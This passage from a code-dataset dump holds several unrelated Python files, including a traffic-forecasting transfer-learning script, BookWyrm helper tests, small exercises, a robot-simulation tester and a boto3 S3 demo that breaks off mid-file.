np.dot(e, e.T)\n\n # In BDA, mu can be set or automatically estimated using A-distance\n # In WBDA, we find that setting mu=1 is enough\n if self.estimate_mu and self.mode == 'BDA':\n if Xs_new is not None:\n mu = estimate_mu(Xs_new, Ys, Xt_new, Y_tar_pseudo)\n else:\n mu = 0\n M = (1 - mu) * M0 + mu * N\n M /= np.linalg.norm(M, 'fro')\n K = kernel(self.kernel_type, X, None, gamma=self.gamma)\n n_eye = m if self.kernel_type == 'primal' else n\n a, b = np.linalg.multi_dot(\n [K, M, K.T]) + self.lamb * np.eye(n_eye), np.linalg.multi_dot([K, H, K.T])\n w, V = scipy.linalg.eig(a, b)\n ind = np.argsort(w)\n A = V[:, ind[:self.dim]]\n Z = np.dot(A.T, K)\n Z /= np.linalg.norm(Z, axis=0) # why it's axis=0?\n Xs_new, Xt_new = Z[:, :ns].T, Z[:, ns:].T\n \n '''\n clf = sklearn.neighbors.KNeighborsClassifier(n_neighbors=1)\n clf.fit(Xs_new, Ys.ravel())\n Y_tar_pseudo = clf.predict(Xt_new)\n acc = sklearn.metrics.accuracy_score(Yt, Y_tar_pseudo)\n list_acc.append(acc)\n print('{} iteration [{}/{}]: Acc: {:.4f}'.format(self.mode, t + 1, self.T, acc))\n '''\n return Xs_new, Xt_new, A #, acc, Y_tar_pseudo, list_acc\n\n\nclass LSTM(nn.Module):\n def __init__(self, inp_dim, out_dim, hid_dim, layers):\n super(LSTM, self).__init__()\n\n self.out_dim = out_dim\n \n self.lstm = nn.LSTM(inp_dim, hid_dim, layers, dropout=0.3, batch_first=True)\n \n self.fc = nn.Sequential(\n nn.ReLU(),\n nn.Linear(hid_dim, hid_dim*2),\n nn.ReLU(),\n nn.Linear(hid_dim*2, out_dim)\n ) # regression\n \n def forward(self, x):\n # input: (batchsize, seq_len, input_dim)\n # output: (batchsize, seq_len, hid_dim)\n #ipdb.set_trace()\n y = self.lstm(x)[0] # y, (h, c) = self.rnn(x)\n \n y = self.fc(y[:, :, :]) # fully connected layer\n \n return y[:, -1, :]\n\n\ndef mape_loss_func(preds, labels):\n try:\n if preds.device.type == 'cuda':\n preds = preds.cpu().detach().numpy()\n if labels.device.type == 'cuda':\n labels = labels.cpu().detach().numpy()\n except:\n None\n \n mask = labels > .05\n return np.mean(np.fabs(labels[mask]-preds[mask])/labels[mask])\n\ndef smape_loss_func(preds, labels):\n try:\n if preds.device.type == 'cuda':\n preds = preds.cpu().detach().numpy()\n if labels.device.type == 'cuda':\n labels = labels.cpu().detach().numpy()\n except:\n None\n \n mask= labels > .05\n return np.mean(2*np.fabs(labels[mask]-preds[mask])/(np.fabs(labels[mask])+np.fabs(preds[mask])))\n\ndef mae_loss_func(preds, labels):\n try:\n if preds.device.type == 'cuda':\n preds = preds.cpu().detach().numpy()\n if labels.device.type == 'cuda':\n labels = labels.cpu().detach().numpy()\n except:\n None\n \n mask= labels > .05\n return np.fabs((labels[mask]-preds[mask])).mean()\n\ndef eliminate_nan(b):\n a = np.array(b)\n c = a[~np.isnan(a)]\n return c\n\n\ndef main(mu):\n # load data\n weekdays = np.array([np.arange(2+7*i,7+7*i,1) for i in range(4)]).flatten()\n weekends = np.array([np.arange(7+7*i,9+7*i,1) for i in range(3)]).flatten()[:-1]\n\n src_domain = np.array(pd.read_csv('../TCA_traffic/data/siteM4_2168B_20210101_20210131.csv'))[np.array([5,6,7,8]), :]\n data_target = np.array(pd.read_csv('../TCA_traffic/data/siteM4_2188B_20210101_20210131.csv'))[20:25, :]\n\n date_choosen = 10\n num_test_day = 4\n #tar_domain = data_target[weekdays[date_choosen:date_choosen+1 + num_test_day], :].reshape(-1, 96)\n tar_domain = data_target.copy()\n tgt_validation = tar_domain[1:num_test_day+1, :]\n\n Xs = normalize(src_domain.flatten())\n Xt = normalize(tar_domain.flatten())\n\n label_seq_len = 1\n # batch_size = full batch\n seq_len = 10\n reduced_dim = 1\n inp_dim = seq_len\n label_dim = seq_len\n hid_dim = 64\n layers = 3\n lamb = 3\n\n hyper = {\n 'inp_dim':inp_dim,\n 'label_dim':label_dim,\n 'label_seq_len':label_seq_len,\n 'seq_len':seq_len,\n 'reduced_dim':reduced_dim,\n 'hid_dim':hid_dim,\n 'layers':layers,\n 'lamb':lamb}\n hyper = pd.DataFrame(hyper, index=['Values'])\n\n # apply BDA, get Xs_new and Xt_new\n Xs, Ys = sliding_window(Xs, Xs, seq_len, label_seq_len)\n Xt, Yt = sliding_window(Xt, Xt, seq_len, label_seq_len)\n\n inp_dim -= reduced_dim\n label_dim -= reduced_dim\n\n\n bda = BDA(kernel_type='linear', dim=inp_dim, lamb=lamb, mu=mu, gamma=1)\n Xs_new, Xt_new, A = bda.fit(Xs, Ys, Xt, Yt) # input shape: ns, n_feature | ns, 1\n Xt_new_valid = Xt_new.copy()[int(96):, :]\n Xt_new = Xt_new.copy()[:int(96), :]\n Yt_valid = Yt.copy()[int(96):, :]\n Yt = Yt.copy()[:int(96), :]\n\n #np2csv(Xs_new)\n #np2csv(Xt_new)\n\n\n # learning part\n ## build network\n batch_size = 960\n\n train_x = np.vstack([Xs_new, Xt_new])[:, :, np.newaxis]\n train_y = np.vstack([Ys, Yt])\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n train_x = torch.tensor(train_x, dtype=torch.float32).to(device)\n train_y = torch.tensor(train_y, dtype=torch.float32).to(device)\n Xt_new_valid = torch.tensor(Xt_new_valid[:, :, np.newaxis], dtype=torch.float32).to(device)\n Yt_valid = torch.tensor(Yt_valid, dtype=torch.float32).to(device)\n\n train_dataset = TensorDataset(train_x, train_y)\n train_loader = torch.utils.data.DataLoader(train_dataset, batch_size, shuffle=True)\n train_iter = iter(train_loader)\n\n\n # build model\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n net = LSTM(1, 1, hid_dim, layers).to(device)\n criterion = nn.MSELoss()\n optimizer = torch.optim.Adam(net.parameters())\n #scheduler = torch.optim.lr_scheduler.StepLR(optimizer, 0.7)\n\n\n # train\n net.train()\n\n epoches = 1000\n train_loss_set = []\n val_loss_set = []\n\n for e in range(epoches):\n for i in range(len(train_loader)):\n try:\n data, label = train_iter.next()\n except:\n train_iter = iter(train_loader)\n data, label = train_iter.next()\n \n out = net(data)\n loss = criterion(out, label)\n \n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n val_out = net(Xt_new_valid)\n val_loss = criterion(val_out, Yt_valid)\n \n val_loss_set.append(val_loss.cpu().detach().numpy())\n train_loss_set.append(loss.cpu().detach().numpy())\n\n\n # Evaluation\n\n\n # evaluation result\n net.eval()\n\n #print('MAPE: %.5f'%mape_loss_func(val_out, Yt_valid))\n #print('SMAPE: %.5f'%smape_loss_func(val_out, Yt_valid))\n #print('MAE: %.5f'%mae_loss_func(val_out, Yt_valid))\n return mape_loss_func(val_out, Yt_valid), smape_loss_func(val_out, Yt_valid), mae_loss_func(val_out, Yt_valid)\n\nif __name__ == \"__main__\":\n mu_search_mat = pd.DataFrame(columns=['mu', 'mape', 'smape', 'mae'], index=range(10))\n for m in range(10):\n mu = m/10.0\n mape_set = []\n smape_set = []\n mae_set = []\n\n for i in range(20):\n mape, smape, mae = main(mu)\n\n mape_set.append(mape)\n smape_set.append(smape)\n mae_set.append(mae)\n print('m=%i, i=%i, completed'%(m, i))\n mape = sum(mape_set)/20\n amape = sum(smape_set)/20\n mae = sum(mae_set)/20\n\n mu_search_mat.loc[m, 'mu'] = mu\n mu_search_mat.loc[m, 'mape'] = mape\n mu_search_mat.loc[m, 'smape'] = smape\n mu_search_mat.loc[m, 'mae'] = mae\n \n mu_search_mat.to_csv('./outputs/mu_search.csv')","sub_path":"BDA.py","file_name":"BDA.py","file_ext":"py","file_size_in_byte":14034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539926421","text":"N = int(input())\ndic = {}\nls = []\nfor i in range(N):\n ls = input().split()\n d = ls[0]\n ls.remove(ls[0])\n new = list(map(float, ls))\n dic[d] = new\nname = input()\nres = 0\nif name in dic:\n no = len(dic[name])\n for num in dic[name]:\n res += num\navg = res / no\nprint (\"%.2f\" % avg)\n","sub_path":"Python/Basic Data Types/percentage.py","file_name":"percentage.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"421836467","text":"\"\"\" test for app action functionality \"\"\"\nimport json\nfrom unittest.mock import patch\nimport pathlib\nfrom django.db.models import Q\nfrom django.http import Http404\nfrom django.test import TestCase\nfrom django.test.client import RequestFactory\nimport responses\n\nfrom bookwyrm import models, views\nfrom bookwyrm.settings import USER_AGENT\n\n\n@patch(\"bookwyrm.activitystreams.ActivityStream.add_status\")\nclass ViewsHelpers(TestCase):\n \"\"\"viewing and creating statuses\"\"\"\n\n def setUp(self):\n \"\"\"we need basic test data and mocks\"\"\"\n self.factory = RequestFactory()\n with patch(\"bookwyrm.preview_images.generate_user_preview_image_task.delay\"):\n self.local_user = models.User.objects.create_user(\n \"mouse@local.com\",\n \"mouse@mouse.com\",\n \"mouseword\",\n local=True,\n discoverable=True,\n localname=\"mouse\",\n remote_id=\"https://example.com/users/mouse\",\n )\n with patch(\"bookwyrm.models.user.set_remote_server.delay\"):\n self.remote_user = models.User.objects.create_user(\n \"rat\",\n \"rat@rat.com\",\n \"ratword\",\n local=False,\n remote_id=\"https://example.com/users/rat\",\n discoverable=True,\n inbox=\"https://example.com/users/rat/inbox\",\n outbox=\"https://example.com/users/rat/outbox\",\n )\n with patch(\"bookwyrm.preview_images.generate_edition_preview_image_task.delay\"):\n self.work = models.Work.objects.create(title=\"Test Work\")\n self.book = models.Edition.objects.create(\n title=\"Test Book\",\n remote_id=\"https://example.com/book/1\",\n parent_work=self.work,\n )\n datafile = pathlib.Path(__file__).parent.joinpath(\"../data/ap_user.json\")\n self.userdata = json.loads(datafile.read_bytes())\n del self.userdata[\"icon\"]\n with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.delay\"):\n self.shelf = models.Shelf.objects.create(\n name=\"Test Shelf\", identifier=\"test-shelf\", user=self.local_user\n )\n\n def test_get_edition(self, _):\n \"\"\"given an edition or a work, returns an edition\"\"\"\n self.assertEqual(views.helpers.get_edition(self.book.id), self.book)\n self.assertEqual(views.helpers.get_edition(self.work.id), self.book)\n\n def test_get_user_from_username(self, _):\n \"\"\"works for either localname or username\"\"\"\n self.assertEqual(\n views.helpers.get_user_from_username(self.local_user, \"mouse\"),\n self.local_user,\n )\n self.assertEqual(\n views.helpers.get_user_from_username(self.local_user, \"mouse@local.com\"),\n self.local_user,\n )\n with self.assertRaises(Http404):\n views.helpers.get_user_from_username(self.local_user, \"mojfse@example.com\")\n\n def test_is_api_request(self, _):\n \"\"\"should it return html or json\"\"\"\n request = self.factory.get(\"/path\")\n request.headers = {\"Accept\": \"application/json\"}\n self.assertTrue(views.helpers.is_api_request(request))\n\n request = self.factory.get(\"/path.json\")\n request.headers = {\"Accept\": \"Praise\"}\n self.assertTrue(views.helpers.is_api_request(request))\n\n request = self.factory.get(\"/path\")\n request.headers = {\"Accept\": \"Praise\"}\n self.assertFalse(views.helpers.is_api_request(request))\n\n def test_is_api_request_no_headers(self, _):\n \"\"\"should it return html or json\"\"\"\n request = self.factory.get(\"/path\")\n self.assertFalse(views.helpers.is_api_request(request))\n\n def test_is_bookwyrm_request(self, _):\n \"\"\"checks if a request came from a bookwyrm instance\"\"\"\n request = self.factory.get(\"\", {\"q\": \"Test Book\"})\n self.assertFalse(views.helpers.is_bookwyrm_request(request))\n\n request = self.factory.get(\n \"\",\n {\"q\": \"Test Book\"},\n HTTP_USER_AGENT=\"http.rb/4.4.1 (Mastodon/3.3.0; +https://mastodon.social/)\",\n )\n self.assertFalse(views.helpers.is_bookwyrm_request(request))\n\n request = self.factory.get(\"\", {\"q\": \"Test Book\"}, HTTP_USER_AGENT=USER_AGENT)\n self.assertTrue(views.helpers.is_bookwyrm_request(request))\n\n def test_existing_user(self, _):\n \"\"\"simple database lookup by username\"\"\"\n result = views.helpers.handle_remote_webfinger(\"@mouse@local.com\")\n self.assertEqual(result, self.local_user)\n\n result = views.helpers.handle_remote_webfinger(\"mouse@local.com\")\n self.assertEqual(result, self.local_user)\n\n result = views.helpers.handle_remote_webfinger(\"mOuSe@loCal.cOm\")\n self.assertEqual(result, self.local_user)\n\n @responses.activate\n def test_load_user(self, _):\n \"\"\"find a remote user using webfinger\"\"\"\n username = \"mouse@example.com\"\n wellknown = {\n \"subject\": \"acct:mouse@example.com\",\n \"links\": [\n {\n \"rel\": \"self\",\n \"type\": \"application/activity+json\",\n \"href\": \"https://example.com/user/mouse\",\n }\n ],\n }\n responses.add(\n responses.GET,\n \"https://example.com/.well-known/webfinger?resource=acct:%s\" % username,\n json=wellknown,\n status=200,\n )\n responses.add(\n responses.GET,\n \"https://example.com/user/mouse\",\n json=self.userdata,\n status=200,\n )\n with patch(\"bookwyrm.preview_images.generate_user_preview_image_task.delay\"):\n with patch(\"bookwyrm.models.user.set_remote_server.delay\"):\n result = views.helpers.handle_remote_webfinger(\"@mouse@example.com\")\n self.assertIsInstance(result, models.User)\n self.assertEqual(result.username, \"mouse@example.com\")\n\n def test_user_on_blocked_server(self, _):\n \"\"\"find a remote user using webfinger\"\"\"\n models.FederatedServer.objects.create(\n server_name=\"example.com\", status=\"blocked\"\n )\n\n result = views.helpers.handle_remote_webfinger(\"@mouse@example.com\")\n self.assertIsNone(result)\n\n def test_handle_reading_status_to_read(self, _):\n \"\"\"posts shelve activities\"\"\"\n shelf = self.local_user.shelf_set.get(identifier=\"to-read\")\n with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.delay\"):\n views.helpers.handle_reading_status(\n self.local_user, shelf, self.book, \"public\"\n )\n status = models.GeneratedNote.objects.get()\n self.assertEqual(status.user, self.local_user)\n self.assertEqual(status.mention_books.first(), self.book)\n self.assertEqual(status.content, \"wants to read\")\n\n def test_handle_reading_status_reading(self, _):\n \"\"\"posts shelve activities\"\"\"\n shelf = self.local_user.shelf_set.get(identifier=\"reading\")\n with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.delay\"):\n views.helpers.handle_reading_status(\n self.local_user, shelf, self.book, \"public\"\n )\n status = models.GeneratedNote.objects.get()\n self.assertEqual(status.user, self.local_user)\n self.assertEqual(status.mention_books.first(), self.book)\n self.assertEqual(status.content, \"started reading\")\n\n def test_handle_reading_status_read(self, _):\n \"\"\"posts shelve activities\"\"\"\n shelf = self.local_user.shelf_set.get(identifier=\"read\")\n with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.delay\"):\n views.helpers.handle_reading_status(\n self.local_user, shelf, self.book, \"public\"\n )\n status = models.GeneratedNote.objects.get()\n self.assertEqual(status.user, self.local_user)\n self.assertEqual(status.mention_books.first(), self.book)\n self.assertEqual(status.content, \"finished reading\")\n\n def test_handle_reading_status_other(self, _):\n \"\"\"posts shelve activities\"\"\"\n with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.delay\"):\n views.helpers.handle_reading_status(\n self.local_user, self.shelf, self.book, \"public\"\n )\n self.assertFalse(models.GeneratedNote.objects.exists())\n\n def test_get_annotated_users(self, _):\n \"\"\"list of people you might know\"\"\"\n with patch(\"bookwyrm.preview_images.generate_user_preview_image_task.delay\"):\n user_1 = models.User.objects.create_user(\n \"nutria@local.com\",\n \"nutria@nutria.com\",\n \"nutriaword\",\n local=True,\n localname=\"nutria\",\n discoverable=True,\n )\n user_2 = models.User.objects.create_user(\n \"fish@local.com\",\n \"fish@fish.com\",\n \"fishword\",\n local=True,\n localname=\"fish\",\n )\n with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.delay\"):\n # 1 shared follow\n self.local_user.following.add(user_2)\n user_1.followers.add(user_2)\n\n # 1 shared book\n models.ShelfBook.objects.create(\n user=self.local_user,\n book=self.book,\n shelf=self.local_user.shelf_set.first(),\n )\n models.ShelfBook.objects.create(\n user=user_1, book=self.book, shelf=user_1.shelf_set.first()\n )\n\n result = views.helpers.get_annotated_users(self.local_user)\n self.assertEqual(result.count(), 3)\n self.assertTrue(user_1 in result)\n self.assertFalse(user_2 in result)\n self.assertTrue(self.local_user in result)\n self.assertTrue(self.remote_user in result)\n\n user_1_annotated = result.get(id=user_1.id)\n self.assertEqual(user_1_annotated.mutuals, 1)\n self.assertEqual(user_1_annotated.shared_books, 1)\n\n remote_user_annotated = result.get(id=self.remote_user.id)\n self.assertEqual(remote_user_annotated.mutuals, 0)\n self.assertEqual(remote_user_annotated.shared_books, 0)\n\n def test_get_annotated_users_counts(self, _):\n \"\"\"correct counting for multiple shared attributed\"\"\"\n with patch(\"bookwyrm.preview_images.generate_user_preview_image_task.delay\"):\n user_1 = models.User.objects.create_user(\n \"nutria@local.com\",\n \"nutria@nutria.com\",\n \"nutriaword\",\n local=True,\n localname=\"nutria\",\n discoverable=True,\n )\n with patch(\"bookwyrm.preview_images.generate_user_preview_image_task.delay\"):\n for i in range(3):\n user = models.User.objects.create_user(\n \"{:d}@local.com\".format(i),\n \"{:d}@nutria.com\".format(i),\n \"password\",\n local=True,\n localname=i,\n )\n user.following.add(user_1)\n user.followers.add(self.local_user)\n\n with patch(\"bookwyrm.preview_images.generate_edition_preview_image_task.delay\"):\n with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.delay\"):\n for i in range(3):\n book = models.Edition.objects.create(\n title=i,\n parent_work=models.Work.objects.create(title=i),\n )\n models.ShelfBook.objects.create(\n user=self.local_user,\n book=book,\n shelf=self.local_user.shelf_set.first(),\n )\n models.ShelfBook.objects.create(\n user=user_1, book=book, shelf=user_1.shelf_set.first()\n )\n\n result = views.helpers.get_annotated_users(\n self.local_user,\n ~Q(id=self.local_user.id),\n ~Q(followers=self.local_user),\n )\n self.assertEqual(result.count(), 2)\n user_1_annotated = result.get(id=user_1.id)\n self.assertEqual(user_1_annotated.mutuals, 3)\n","sub_path":"bookwyrm/tests/views/test_helpers.py","file_name":"test_helpers.py","file_ext":"py","file_size_in_byte":12482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"136479761","text":"import math\r\ndef chuyenSoThanhMang(p: int , a: int, w: int ):\r\n matrixA = []\r\n m = math.ceil(math.log(p, 2))\r\n t = math.ceil(m / w)\r\n for i in range(t-1, -1, -1):\r\n tmp = pow(2,w*i)\r\n matrixA.append(math.floor(a/tmp))\r\n a = a % tmp\r\n return matrixA\r\n\r\ndef phepCong(matrixA: list(), matrixB: list(), w:int):\r\n l = len(matrixA)\r\n matrixC = list()\r\n matrixC.append((matrixA[l-1] + matrixB[l-1]) % pow(2,w))\r\n if(matrixA[l-1] + matrixB[l-1] > pow(2,w)):\r\n eps = 1\r\n else:\r\n eps = 0\r\n \r\n for i in range(l-2, -1, -1):\r\n matrixC.append((matrixA[i] + matrixB[i]+eps)%pow(2,w))\r\n if(matrixA[i] + matrixB[i]+eps > pow(2,w)):\r\n eps = 1\r\n else :\r\n eps = 0\r\n matrixC.reverse()\r\n return {'eps': eps , 'matrix': matrixC}\r\n\r\ndef phepTru(matrixA: list(), matrixB: list(), w:int):\r\n l = len(matrixA)\r\n matrixC= list()\r\n matrixC.append((matrixA[l-1] - matrixB[l-1]) % pow(2,w))\r\n if(matrixA[l-1] - matrixB[l-1] < 0):\r\n eps = 1\r\n else:\r\n eps = 0\r\n for i in range(l-2, -1, -1):\r\n matrixC.append((matrixA[i] - matrixB[i] - eps)%pow(2,w))\r\n if(matrixA[i] - matrixB[i] - eps < 0):\r\n eps = 1\r\n else :\r\n eps = 0\r\n\r\n matrixC.reverse()\r\n return {'eps': eps , 'matrix': matrixC} \r\n\r\ndef soSanh(matrixA: list(), matrixB: list()):\r\n for i in range(0, len(matrixA)):\r\n if(matrixA[i] > matrixB[i]):\r\n return True\r\n if(matrixA[len(matrixA)-1] == matrixB[len(matrixA)-1]):\r\n return True\r\n else:\r\n return False\r\n\r\ndef congTrenFp(matrixA: list(), matrixB: list(), w: int , p: int ):\r\n c = phepCong(matrixA, matrixB,w)\r\n f = chuyenSoThanhMang(p,p,w)\r\n while(c.get('eps') == 1):\r\n c = phepTru(c.get('matrix'), f, w)\r\n\r\n if(soSanh(c.get('matrix'),f) == True ) and (c.get('eps') == 0):\r\n c = phepTru(c.get('matrix'), f, w)\r\n \r\n return c\r\n\r\ndef main():\r\n p = 2147483647\r\n w = 8\r\n a = 2147483646\r\n b = 2147483643\r\n A = chuyenSoThanhMang(p,a,w)\r\n B = chuyenSoThanhMang(p,b,w)\r\n print(A)\r\n print(B)\r\n C = congTrenFp(A,B,w,p)\r\n print(C)\r\n \r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"bai4_phep_cong_tren_fp.py","file_name":"bai4_phep_cong_tren_fp.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"604573394","text":"import time\nfrom queue import Queue\nfrom threading import Thread\n\n\ndef receive(q):\n data = 1\n while True:\n q.put(data)\n time.sleep(1)\n data += 1\n if data > 5:\n break\n\n\ndef send(q):\n while True:\n data = q.get()\n time.sleep(1)\n print(data)\n if q.empty():\n break\n\n\ndef main():\n q = Queue()\n receive_thread = Thread(target=receive, args=(q,))\n receive_thread.start()\n send_thread = Thread(target=send, args=(q,))\n send_thread.start()\n\n\nif __name__ == '__main__':\n main()","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"319009337","text":"import tkinter as tk\nfrom tkinter import StringVar\nfrom tkcalendar import Calendar\n\n\nfrom FrameCalendar import FrameCalendar\nfrom FrameCamera import FrameCamera\nfrom FrameNotifications import FrameNotifications\n\n\nclass MainWindow:\n\n def __init__(self, master):\n self.master = master\n\n master.title(\"Virtual Assistant\")\n master.geometry(\"750x650\")\n master.grid_rowconfigure(0, weight=1)\n master.grid_columnconfigure(0, weight=1)\n master.resizable(True, True)\n\n\nif __name__ == \"__main__\":\n root = tk.Tk()\n app = MainWindow(root)\n\n calendarframe = FrameCalendar(app)\n notificationsframe = FrameNotifications(app)\n cameraframe = FrameCamera(app)\n root.mainloop()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"304699981","text":"import numpy as np\r\nimport pygame\r\nfrom Parameters import Property\r\nfrom Player import Player\r\n\r\nclass Ai:\r\n triggered_value = 0.6\r\n\r\n def __init__(self):\r\n self.player_position = None\r\n self.meteors = None\r\n self.danger_sides = np.zeros(8, dtype=bool)\r\n self.player_size = Property.get('player_size')\r\n self.detectors = np.zeros(8,dtype=pygame.Rect)\r\n self.surface = Property.get('surface')\r\n self.colors = [(255,125,0), (255,0,0)]\r\n\r\n def update(self):\r\n self._get_information()\r\n self._set_detectors()\r\n self._check_detectors()\r\n Property.set('AI_state', self.danger_sides)\r\n\r\n def draw(self):\r\n self._draw_detectors()\r\n\r\n def destroy_conditions(self):\r\n pass\r\n\r\n def _get_information(self):\r\n self.meteors = Property.get('meteors')\r\n if self.meteors == None:\r\n self.meteors = []\r\n self.player_position = Property.get('player_position')\r\n \r\n def _set_detectors(self):\r\n x = self.player_position[0]\r\n y = self.player_position[1]\r\n d = 200\r\n\r\n self.detectors[0] = pygame.Rect(x + self.player_size, y + self.player_size, d,d)\r\n self.detectors[1] = pygame.Rect(x - self.player_size - d, y + self.player_size, d,d)\r\n self.detectors[2] = pygame.Rect(x - self.player_size - d, y - self.player_size -d, d,d)\r\n self.detectors[3] = pygame.Rect(x + self.player_size, y - self.player_size - d, d,d)\r\n \r\n self.detectors[4] = pygame.Rect(x - self.player_size, y + self.player_size, 2*self.player_size,d)\r\n self.detectors[5] = pygame.Rect(x - self.player_size - d, y - self.player_size, d,2*self.player_size)\r\n self.detectors[6] = pygame.Rect(x - self.player_size, y - self.player_size - d, 2*self.player_size,d)\r\n self.detectors[7] = pygame.Rect(x + self.player_size, y - self.player_size, d,2*self.player_size)\r\n\r\n def _check_detectors(self):\r\n if len(self.meteors) == 0:\r\n return\r\n for i in range(len(self.detectors)):\r\n if self.detectors[i].collidelist([meteor.rect for meteor in self.meteors]) != -1:\r\n self.danger_sides[i] = True\r\n else:\r\n self.danger_sides[i] = False\r\n \r\n\r\n\r\n def _draw_detectors(self):\r\n for i in range(8):\r\n if self.danger_sides[i] == True:\r\n pygame.draw.rect(self.surface, self.colors[1],self.detectors[i],2)\r\n else:\r\n pygame.draw.rect(self.surface, self.colors[0],self.detectors[i],2)\r\n\r\nclass NuralNetwork():\r\n def __init__(self, layers):\r\n \"\"\"\r\n synaps - list that contains numbers of nodes in the folowing layers.\r\n layers - list that contains nodes values\r\n\r\n \"\"\"\r\n self.synaps = None\r\n self.layers = None\r\n self.__layers_init(layers)\r\n self.__synaps_init(layers)\r\n\r\n def __synaps_init(self, layers):\r\n self.synaps = layers\r\n for i in range(0, len(layers)-1, 1):\r\n self.synaps[i] = 2*np.random.random((layers[i], layers[i+1]))-1\r\n\r\n @staticmethod\r\n def __sigmoid(x):\r\n return 1 / (1 + np.exp(-x))\r\n \r\n def __layers_init(self, layers):\r\n self.layers = [np.zeros(x) for x in layers]\r\n\r\n def __foreward_propagation(self, input_values):\r\n self.layers[0] = input_values\r\n for i in range(1, len(self.layers),1):\r\n self.layers[i] = self.__sigmoid(np.dot(self.layers[i-1], self.synaps[i-1]))\r\n\r\n def __create_move(self):\r\n network_output = self.layers[-1]\r\n move = np.zeros(len(network_output))\r\n for i in range(len(network_output)):\r\n if network_output[i] > Ai.triggered_value:\r\n move[i] = 1\r\n else:\r\n move[i] = 0\r\n Property.set('AI_move', move)\r\n\r\n\r\n def update(self):\r\n self.__foreward_propagation(Property.get('AI_state'))\r\n self.__create_move()\r\n self.__create_move()\r\n\r\n def draw(self):\r\n pass\r\n\r\n def destroy_conditions(self):\r\n pass \r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n nn = NuralNetwork([8,6,5])\r\n nn.update()\r\n pass\r\n","sub_path":"NeuralNetwork.py","file_name":"NeuralNetwork.py","file_ext":"py","file_size_in_byte":4216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"146952180","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom spotmicro.spot_gym_env import spotGymEnv\nfrom spotmicro.util.gui import GUI\nfrom spotmicro.Kinematics.SpotKinematics import SpotModel\nfrom spotmicro.Kinematics.LieAlgebra import RPY\nimport time\n\nimport torch\nimport os\n\n\ndef main():\n \"\"\" The main() function. \"\"\"\n\n print(\"STARTING SPOT TEST ENV\")\n seed = 0\n max_timesteps = 4e6\n file_name = \"spot_ars_\"\n\n # Find abs path to this file\n my_path = os.path.abspath(os.path.dirname(__file__))\n results_path = os.path.join(my_path, \"../results\")\n models_path = os.path.join(my_path, \"../models\")\n\n if not os.path.exists(results_path):\n os.makedirs(results_path)\n\n if not os.path.exists(models_path):\n os.makedirs(models_path)\n\n env = spotGymEnv(render=True, on_rack=False)\n\n # Set seeds\n env.seed(seed)\n torch.manual_seed(seed)\n np.random.seed(seed)\n\n state_dim = env.observation_space.shape[0]\n print(\"STATE DIM: {}\".format(state_dim))\n action_dim = env.action_space.shape[0]\n print(\"ACTION DIM: {}\".format(action_dim))\n max_action = float(env.action_space.high[0])\n\n env.reset()\n\n g_u_i = GUI()\n\n spot = SpotModel()\n T_bf = spot.WorldToFoot\n\n print(\"STARTED SPOT TEST ENV\")\n t = 0\n while t < (int(max_timesteps)):\n\n # GUI: x, y, z | r, p , y\n pos, orn, _, _, _, _ = g_u_i.UserInput()\n # Get Roll, Pitch, Yaw\n joint_angles = spot.IK(orn, pos, T_bf)\n action = joint_angles.reshape(-1)\n action = env.action_space.sample()\n next_state, reward, done, _ = env.step(action)\n\n # time.sleep(1.0)\n\n t += 1\n env.close()\n print(joint_angles)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"bullet/src/env_tester.py","file_name":"env_tester.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"541447932","text":"import boto3\nimport random\nimport os\n\nBUCKET = \"spring-boot-s3-demo\"\n\nsession = boto3.Session(\n profile_name=\"spring-boot-aws-s3-user\", \n region_name=\"us-west-2\")\ns3 = session.client('s3')\n\n# Create a local file \nrand=random.randint(1000,10000)\nfilename=\"s3-\" + str(rand) + \".txt\"\nfile=open(filename, \"w\")\nfile.write(\"Adding content to file \" + filename + \" for the python S3 demo\")\nfile.close()\nprint(\"Created local file {} for this demo\".format(filename))\n\n\n# Upload a file \nprint(\"Putting {} into bucket {}\".format(filename, BUCKET))\ns3.upload_file(\n Bucket=BUCKET, \n Key=\"/demo/\" + filename, \n Filename=filename)\n\n\n# List object in bucket \nprint(\"All file in the bucket:\")\nfor key in s3.list_objects(Bucket=BUCKET)['Contents']:\n print(\" {}\".format(key['Key']))\n\n\n# Download a file from the S3 bucket \nprint(\"Downloading file {} for the bucket\".format(filename))\ns3.download_file(\n Bucket=BUCKET,\n Key=\"/demo/\" + filename, \n Filename=\"download/\" + filename)\n\n\n# Delete file from the S3 bucket\nprint (\"Remove file {} from the bucket\".format(filename))\ns3.delete_object(Bucket=BUCKET, Key=\"/demo/\" + filename)\n\n\n# Remove the file created for the demo \nprint (\"Remove file {} 